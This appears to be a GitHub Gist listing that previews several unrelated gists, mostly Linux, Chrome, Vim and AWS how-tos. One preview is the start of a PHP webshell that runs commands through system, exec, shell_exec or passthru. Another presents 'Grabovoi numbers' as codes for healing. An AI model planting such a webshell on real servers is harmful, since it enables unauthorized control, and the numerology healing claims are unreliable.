Skip to content

Instantly share code, notes, and snippets.

68d18be4b036c7a49f639718d79162c9cc6d1b29
54dc0ff9071b310e6e9190e82690b8180935951d
@tdcosta100
tdcosta100 / WSL2GUIWSLg-XWayland-en.md
Last active November 30, 2025 07:01
A tutorial to use GUI in WSL2/WSLg replacing original Xorg by Xwayland, allowing WSL to work like native Linux, including login screen

Full desktop shell in WSL2 using WSLg (XWayland)

Note

If you want to use Wayland in WSLg in a simpler setup, you can try the WSLg (Wayland) tutorial.

In this tutorial, we will setup GUI in WSL2. No additional software outside WSL (like VcXsrv or GWSL) is required. You will find this tutorial very similar to the one that replaces Xorg with Xvnc. Indeed, it's pretty much the same tutorial, with some few changes.

The key component we need to install is the desktop metapackage you want (GNOME, KDE, Xfce, Budgie, etc), and after that, replace the default Xorg by a script that calls Xwayland instead.

For this setup, I will use Ubuntu 24.04, and install GNOME Desktop. Unfortunately older versions of Ubuntu lack some fundamental things, so we cannot reproduce it in older versions (at least not fully). Since the key components aren't bound to Ubuntu or GNOME, you can use your favorite distro and GUI. Check the [Sample screenshot

@AbraXa5
AbraXa5 / multiShell.php
Created January 26, 2024 23:55
PHP webshell with multiple execution methods
<?php
// PHP command execution with multiple methods
function execute_command($command)
{
$available_functions = ["system", "exec", "shell_exec", "passthru"];
$chosen_function = null;
foreach ($available_functions as $function) {

Manage Multiple Claude Code Accounts

Run two Claude Code accounts simultaneously on macOS without re-authenticating by using separate configuration directories.

Steps

  1. Create Separate Config Directories
    mkdir ~/.claude-account1
    mkdir ~/.claude-account2
@igrep
igrep / translate-mdn-ja.vim
Last active November 30, 2025 06:53
MDNの翻訳を始めるときに便利なVim向け関数群
" # 使用方法
" :call BeginTranslation()
" :call OpenJaPath()
" :let commit = GetLatestSourceCommit()
"
" # 概要
"
" ## BeginTranslation
" MDNの翻訳に取りかかる際、現在開いている英語版のパスを日本語版のパスに変換して英語版をコピーし、開く
" その後Front-matterを編集し、title と slug 以外を削除し、l10n を追加することで、翻訳の準備を整える
@MrHallows
MrHallows / fastboot_help.md
Last active November 30, 2025 06:50
fastboot commands

Command:

$ fastboot help

Output:

usage: fastboot [OPTION...] COMMAND...

flashing:
@yashodhank
yashodhank / 1.How-to-Use-Grabovoi-Numbers-Codes.md
Last active November 30, 2025 06:45
Instructions on How to Use Grabovoi Numbers / Codes

Instructions on How to Use Grabovoi Numbers

Grabovoi (ग्राबोवोई) numbers, also known as "Grabovoi codes," are sequences of numbers developed by the Russian mathematician and psychic Grigori Grabovoi. They are intended to be used for healing and manifesting specific outcomes based on numerology and the belief in the mystical power of numbers.

English Instructions:

Grabovoi numbers are sequences that are used with the intention to manifest specific outcomes in various areas of life, such as health, finance, and relationships. Here's a simple guide on how to use them:

  1. Identify Your Goal: Decide what you want to improve or heal. This could be anything from better health, financial prosperity, to finding love.

  2. Choose the Right Number: Each number sequence corresponds to a specific goal. Refer to the table of Grabovoi numbers to find the one that suits your need.

@tophf
tophf / patch-chrome-mv2-2025-11-18.ps1
Last active November 30, 2025 06:42
Enables ManifestV2 for extensions in Chrome 140+
<# 1. To patch dll in a protected folder like "c:\program files" run this script as Administrator.
2. If your Windows isn't configured to run ps1 files, you can run it from command prompt like this:
powershell -ep bypass -noprofile "patch-chrome-mv2.ps1"
#>
param([string]$dll, [string]$dir = $pwd)
function doPatch([string]$path, [string]$pathLabel = '') {
$dll = $script:dll = if ($path.EndsWith('\')) { Join-Path $path chrome.dll } else { $path }
if (!(Test-Path -literal $dll)) { return }
$localAppData = [Environment]::GetFolderPath('LocalApplicationData')
@veuncent
veuncent / aws_glacier_delete_vault.md
Last active November 30, 2025 06:41
Delete all archives in an AWS Vault

AWS Glacier: Delete vault

Follow these steps to remove all archives from an AWS vault. After this is finished, you will be able to delete the vault itself through the browser console.

Step 1 / Retrieve inventory

This will create a job that collects required information about the vault.

$ aws glacier initiate-job --job-parameters '{"Type": "inventory-retrieval"}' --account-id YOUR_ACCOUNT_ID --region YOUR_REGION --vault-name YOUR_VAULT_NAME